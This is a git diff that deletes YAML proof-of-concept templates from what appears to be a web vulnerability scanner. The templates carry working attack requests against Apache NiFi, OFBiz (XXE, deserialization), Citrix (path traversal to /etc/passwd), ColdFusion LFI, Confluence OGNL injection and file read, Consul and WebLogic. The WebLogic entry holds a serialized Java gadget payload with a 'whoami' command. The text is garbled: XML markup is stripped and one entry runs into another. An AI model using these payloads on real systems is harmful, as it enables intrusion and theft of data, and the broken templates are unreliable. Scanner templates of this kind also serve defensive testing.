index 59e2537..0000000
--- a/WebScan/pocs/apache-nifi-api-unauthorized-access.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-name: poc-yaml-apache-nifi-api-unauthorized-access
-manual: true
-transport: http
-rules:
- - method: GET
- path: /nifi-api/flow/current-user
- follow_redirects: false
- expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"identity\":\"anonymous\",\"anonymous\":true")
-detail:
- author: wulalalaaa(https://github.com/wulalalaaa)
- links:
- - https://nifi.apache.org/docs/nifi-docs/rest-api/index.html
diff --git a/WebScan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml b/WebScan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml
deleted file mode 100644
index 50b63f9..0000000
--- a/WebScan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
-rules:
- - method: POST
- path: /webtools/control/xmlrpc
- headers:
- Content-Type: application/xml
- body: >-
- ]>&disclose;
- follow_redirects: false
- expression: >
- response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body)
-detail:
- author: su(https://suzzz112113.github.io/#blog)
- links:
- - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
diff --git a/WebScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml b/WebScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml
deleted file mode 100644
index fe264a4..0000000
--- a/WebScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml
+++ /dev/null
@@ -1,19 +0,0 @@
-name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
-set:
- rand: randomInt(200000000, 210000000)
-rules:
- - method: POST
- path: /webtools/control/xmlrpc
- headers:
- Content-Type: application/xml
- body: >-
- {{rand}}dwisiswant0
- follow_redirects: false
- expression: >
- response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
-detail:
- author: su(https://suzzz112113.github.io/#blog)
- links:
- - https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
- - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
diff --git a/WebScan/pocs/aspcms-backend-leak.yml b/WebScan/pocs/aspcms-backend-leak.yml
deleted file mode 100644
index 1a4b888..0000000
--- a/WebScan/pocs/aspcms-backend-leak.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-name: poc-yaml-aspcms-backend-leak
-rules:
- - method: GET
- path: /plug/oem/AspCms_OEMFun.asp
- expression: |
- response.status == 200 && "")) && response.body.bcontains(b"citrix")
-detail:
- author: JingLing(https://hackfun.org/)
- links:
- - https://support.citrix.com/article/CTX276688
- - https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/
- - https://dmaasland.github.io/posts/citrix.html
diff --git a/WebScan/pocs/citrix-cve-2020-8193-unauthorized.yml b/WebScan/pocs/citrix-cve-2020-8193-unauthorized.yml
deleted file mode 100644
index 3f02963..0000000
--- a/WebScan/pocs/citrix-cve-2020-8193-unauthorized.yml
+++ /dev/null
@@ -1,20 +0,0 @@
-name: poc-yaml-citrix-cve-2020-8193-unauthorized
-set:
- user: randomLowercase(8)
- pass: randomLowercase(8)
-rules:
- - method: POST
- path: "/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1"
- headers:
- Content-Type: application/xml
- X-NITRO-USER: '{{user}}'
- X-NITRO-PASS: '{{pass}}'
- body:
- follow_redirects: false
- expression: >
- response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["Set-Cookie"]))
-detail:
- author: bufsnake(https://github.com/bufsnake)
- links:
- - https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py
- - https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html
diff --git a/WebScan/pocs/citrix-xenmobile-cve-2020-8209.yml b/WebScan/pocs/citrix-xenmobile-cve-2020-8209.yml
deleted file mode 100644
index 2b00ade..0000000
--- a/WebScan/pocs/citrix-xenmobile-cve-2020-8209.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-name: poc-yaml-citrix-xenmobile-cve-2020-8209
-rules:
- - method: GET
- path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
- follow_redirects: false
- expression: |
- response.status == 200 && response.content_type.contains("octet-stream") && "^root:[x*]:0:0:".bmatches(response.body)
-detail:
- author: B1anda0(https://github.com/B1anda0)
- links:
- - https://nvd.nist.gov/vuln/detail/CVE-2020-8209
diff --git a/WebScan/pocs/coldfusion-cve-2010-2861-lfi.yml b/WebScan/pocs/coldfusion-cve-2010-2861-lfi.yml
deleted file mode 100644
index e5982f4..0000000
--- a/WebScan/pocs/coldfusion-cve-2010-2861-lfi.yml
+++ /dev/null
@@ -1,13 +0,0 @@
-name: poc-yaml-coldfusion-cve-2010-2861-lfi
-rules:
- - method: GET
- path: >-
- /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
- follow_redirects: true
- expression: |
- response.status == 200 && response.body.bcontains(b"rdspassword=") && response.body.bcontains(b"encrypted=")
-detail:
- version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions
- author: sharecast
- links:
- - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
\ No newline at end of file
diff --git a/WebScan/pocs/confluence-cve-2015-8399.yml b/WebScan/pocs/confluence-cve-2015-8399.yml
deleted file mode 100644
index 5fa729a..0000000
--- a/WebScan/pocs/confluence-cve-2015-8399.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-name: poc-yaml-confluence-cve-2015-8399
-rules:
- - method: GET
- path: /spaces/viewdefaultdecorator.action?decoratorName
- follow_redirects: false
- expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator")
-detail:
- author: whynot(https://github.com/notwhy)
- links:
- - https://www.anquanke.com/vul/id/1150798
\ No newline at end of file
diff --git a/WebScan/pocs/confluence-cve-2019-3396-lfi.yml b/WebScan/pocs/confluence-cve-2019-3396-lfi.yml
deleted file mode 100644
index 3a5b901..0000000
--- a/WebScan/pocs/confluence-cve-2019-3396-lfi.yml
+++ /dev/null
@@ -1,17 +0,0 @@
-name: poc-yaml-confluence-cve-2019-3396-lfi
-rules:
- - method: POST
- path: /rest/tinymce/1/macro/preview
- headers:
- Content-Type: "application/json"
- Host: localhost
- Referer: http://localhost
- body: >-
- {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}}
- follow_redirects: true
- expression: |
- response.status == 200 && response.body.bcontains(b"contextConfigLocation")
-detail:
- author: sharecast
- links:
- - https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
\ No newline at end of file
diff --git a/WebScan/pocs/confluence-cve-2021-26084.yml b/WebScan/pocs/confluence-cve-2021-26084.yml
deleted file mode 100644
index 412edda..0000000
--- a/WebScan/pocs/confluence-cve-2021-26084.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-name: poc-yaml-confluence-cve-2021-26084
-set:
- r1: randomInt(100000, 999999)
- r2: randomInt(100000, 999999)
-rules:
- - method: POST
- path: /pages/createpage-entervariables.action?SpaceKey=x
- body: |
- queryString=\u0027%2b%7b{{r1}}%2B{{r2}}%7d%2b\u0027
- expression: |
- response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
-detail:
- author: Loneyer(https://github.com/Loneyers)
- links:
- - https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
diff --git a/WebScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml b/WebScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml
deleted file mode 100644
index 1dcb230..0000000
--- a/WebScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read
-set:
- rand: randomLowercase(6)
-rules:
- - method: GET
- path: /s/{{rand}}/_/;/WEB-INF/web.xml
- follow_redirects: false
- expression: response.status == 200 && response.body.bcontains(b"Confluence") && response.body.bcontains(b"com.atlassian.confluence.setup.ConfluenceAppConfig")
-detail:
- author: wulalalaaa(https://github.com/wulalalaaa)
- links:
- - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
diff --git a/WebScan/pocs/consul-rexec-rce.yml b/WebScan/pocs/consul-rexec-rce.yml
deleted file mode 100644
index 4ab8c55..0000000
--- a/WebScan/pocs/consul-rexec-rce.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-name: poc-yaml-consul-rexec-rce
-rules:
- - method: GET
- path: /v1/agent/self
- expression: |
- response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"DisableRemoteExec\": false")
-detail:
- author: imlonghao(https://imlonghao.com/)
- links:
- - https://www.exploit-db.com/exploits/46073
diff --git a/WebScan/pocs/consul-service-rce.yml b/WebScan/pocs/consul-service-rce.yml
deleted file mode 100644
index 8426cac..0000000
--- a/WebScan/pocs/consul-service-rce.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-name: poc-yaml-consul-service-rce
-rules:
- - method: GET
- path: /v1/agent/self
- expression: |
- response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"EnableScriptChecks\": true") || response.body.bcontains(b"\"EnableRemoteScriptChecks\": true")
-detail:
- author: imlonghao(https://imlonghao.com/)
- links:
- - https://www.exploit-db.com/exploits/46074
diff --git a/WebScan/pocs/coremail-cnvd-2019-16798.yml b/WebScan/pocs/coremail-cnvd-2019-16798.yml
deleted file mode 100644
index 097f5fa..0000000
--- a/WebScan/pocs/coremail-cnvd-2019-16798.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-name: poc-yaml-coremail-cnvd-2019-16798
-rules:
- - method: GET
- path: >-
- /mailsms/s?func=ADMIN:appState&dumpConfig=/
- follow_redirects: false
- expression: >
- response.status == 200 && response.body.bcontains(bytes("
- follow_redirects: true
- expression: >
- response.body.bcontains(b"225773091")
- v10:
- - method: POST
- path: /wls-wsat/CoordinatorPortType
- headers:
- Content-Type: text/xml
- cmd: whoami
- body: |-
-
-
-
-
-
-
-
-
- oracle.toplink.internal.sessions.UnitOfWorkChangeSet
-
-
-
- -84
-
-
- -19
-
-
- 0
-
-
- 5
-
-
- 115
-
-
- 114
-
-
- 0
-
-
- 23
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 46
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 46
-
-
- 76
-
-
- 105
-
-
- 110
-
-
- 107
-
-
- 101
-
-
- 100
-
-
- 72
-
-
- 97
-
-
- 115
-
-
- 104
-
-
- 83
-
-
- 101
-
-
- 116
-
-
- -40
-
-
- 108
-
-
- -41
-
-
- 90
-
-
- -107
-
-
- -35
-
-
- 42
-
-
- 30
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 114
-
-
- 0
-
-
- 17
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 46
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 46
-
-
- 72
-
-
- 97
-
-
- 115
-
-
- 104
-
-
- 83
-
-
- 101
-
-
- 116
-
-
- -70
-
-
- 68
-
-
- -123
-
-
- -107
-
-
- -106
-
-
- -72
-
-
- -73
-
-
- 52
-
-
- 3
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 112
-
-
- 119
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 16
-
-
- 63
-
-
- 64
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 115
-
-
- 114
-
-
- 0
-
-
- 58
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 46
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 46
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 46
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 46
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 46
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 46
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 46
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 120
-
-
- 46
-
-
- 84
-
-
- 101
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 97
-
-
- 116
-
-
- 101
-
-
- 115
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 9
-
-
- 87
-
-
- 79
-
-
- -63
-
-
- 110
-
-
- -84
-
-
- -85
-
-
- 51
-
-
- 3
-
-
- 0
-
-
- 9
-
-
- 73
-
-
- 0
-
-
- 13
-
-
- 95
-
-
- 105
-
-
- 110
-
-
- 100
-
-
- 101
-
-
- 110
-
-
- 116
-
-
- 78
-
-
- 117
-
-
- 109
-
-
- 98
-
-
- 101
-
-
- 114
-
-
- 73
-
-
- 0
-
-
- 14
-
-
- 95
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 73
-
-
- 110
-
-
- 100
-
-
- 101
-
-
- 120
-
-
- 90
-
-
- 0
-
-
- 21
-
-
- 95
-
-
- 117
-
-
- 115
-
-
- 101
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 105
-
-
- 99
-
-
- 101
-
-
- 115
-
-
- 77
-
-
- 101
-
-
- 99
-
-
- 104
-
-
- 97
-
-
- 110
-
-
- 105
-
-
- 115
-
-
- 109
-
-
- 76
-
-
- 0
-
-
- 25
-
-
- 95
-
-
- 97
-
-
- 99
-
-
- 99
-
-
- 101
-
-
- 115
-
-
- 115
-
-
- 69
-
-
- 120
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 83
-
-
- 116
-
-
- 121
-
-
- 108
-
-
- 101
-
-
- 115
-
-
- 104
-
-
- 101
-
-
- 101
-
-
- 116
-
-
- 116
-
-
- 0
-
-
- 18
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 76
-
-
- 0
-
-
- 11
-
-
- 95
-
-
- 97
-
-
- 117
-
-
- 120
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 59
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 114
-
-
- 117
-
-
- 110
-
-
- 116
-
-
- 105
-
-
- 109
-
-
- 101
-
-
- 47
-
-
- 72
-
-
- 97
-
-
- 115
-
-
- 104
-
-
- 116
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 59
-
-
- 91
-
-
- 0
-
-
- 10
-
-
- 95
-
-
- 98
-
-
- 121
-
-
- 116
-
-
- 101
-
-
- 99
-
-
- 111
-
-
- 100
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 3
-
-
- 91
-
-
- 91
-
-
- 66
-
-
- 91
-
-
- 0
-
-
- 6
-
-
- 95
-
-
- 99
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 18
-
-
- 91
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 59
-
-
- 76
-
-
- 0
-
-
- 5
-
-
- 95
-
-
- 110
-
-
- 97
-
-
- 109
-
-
- 101
-
-
- 113
-
-
- 0
-
-
- 126
-
-
- 0
-
-
- 4
-
-
- 76
-
-
- 0
-
-
- 17
-
-
- 95
-
-
- 111
-
-
- 117
-
-
- 116
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 112
-
-
- 101
-
-
- 114
-
-
- 116
-
-
- 105
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 22
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 112
-
-
- 101
-
-
- 114
-
-
- 116
-
-
- 105
-
-
- 101
-
-
- 115
-
-
- 59
-
-
- 120
-
-
- 112
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- -1
-
-
- -1
-
-
- -1
-
-
- -1
-
-
- 0
-
-
- 116
-
-
- 0
-
-
- 3
-
-
- 97
-
-
- 108
-
-
- 108
-
-
- 112
-
-
- 117
-
-
- 114
-
-
- 0
-
-
- 3
-
-
- 91
-
-
- 91
-
-
- 66
-
-
- 75
-
-
- -3
-
-
- 25
-
-
- 21
-
-
- 103
-
-
- 103
-
-
- -37
-
-
- 55
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 112
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 117
-
-
- 114
-
-
- 0
-
-
- 2
-
-
- 91
-
-
- 66
-
-
- -84
-
-
- -13
-
-
- 23
-
-
- -8
-
-
- 6
-
-
- 8
-
-
- 84
-
-
- -32
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 112
-
-
- 0
-
-
- 0
-
-
- 14
-
-
- 29
-
-
- -54
-
-
- -2
-
-
- -70
-
-
- -66
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 50
-
-
- 0
-
-
- -70
-
-
- 10
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 34
-
-
- 7
-
-
- 0
-
-
- -72
-
-
- 7
-
-
- 0
-
-
- 37
-
-
- 7
-
-
- 0
-
-
- 38
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 86
-
-
- 101
-
-
- 114
-
-
- 115
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 85
-
-
- 73
-
-
- 68
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 74
-
-
- 1
-
-
- 0
-
-
- 13
-
-
- 67
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 116
-
-
- 97
-
-
- 110
-
-
- 116
-
-
- 86
-
-
- 97
-
-
- 108
-
-
- 117
-
-
- 101
-
-
- 5
-
-
- -83
-
-
- 32
-
-
- -109
-
-
- -13
-
-
- -111
-
-
- -35
-
-
- -17
-
-
- 62
-
-
- 1
-
-
- 0
-
-
- 6
-
-
- 60
-
-
- 105
-
-
- 110
-
-
- 105
-
-
- 116
-
-
- 62
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 40
-
-
- 41
-
-
- 86
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 67
-
-
- 111
-
-
- 100
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 76
-
-
- 105
-
-
- 110
-
-
- 101
-
-
- 78
-
-
- 117
-
-
- 109
-
-
- 98
-
-
- 101
-
-
- 114
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 18
-
-
- 76
-
-
- 111
-
-
- 99
-
-
- 97
-
-
- 108
-
-
- 86
-
-
- 97
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 116
-
-
- 104
-
-
- 105
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 83
-
-
- 116
-
-
- 117
-
-
- 98
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 80
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 73
-
-
- 110
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 101
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 53
-
-
- 76
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 36
-
-
- 83
-
-
- 116
-
-
- 117
-
-
- 98
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 80
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 9
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 102
-
-
- 111
-
-
- 114
-
-
- 109
-
-
- 1
-
-
- 0
-
-
- 114
-
-
- 40
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 68
-
-
- 79
-
-
- 77
-
-
- 59
-
-
- 91
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 101
-
-
- 114
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 100
-
-
- 111
-
-
- 99
-
-
- 117
-
-
- 109
-
-
- 101
-
-
- 110
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 45
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 68
-
-
- 79
-
-
- 77
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 104
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 66
-
-
- 91
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 101
-
-
- 114
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 69
-
-
- 120
-
-
- 99
-
-
- 101
-
-
- 112
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 7
-
-
- 0
-
-
- 39
-
-
- 1
-
-
- 0
-
-
- -90
-
-
- 40
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 68
-
-
- 79
-
-
- 77
-
-
- 59
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 100
-
-
- 116
-
-
- 109
-
-
- 47
-
-
- 68
-
-
- 84
-
-
- 77
-
-
- 65
-
-
- 120
-
-
- 105
-
-
- 115
-
-
- 73
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 97
-
-
- 116
-
-
- 111
-
-
- 114
-
-
- 59
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 101
-
-
- 114
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 1
-
-
- 0
-
-
- 8
-
-
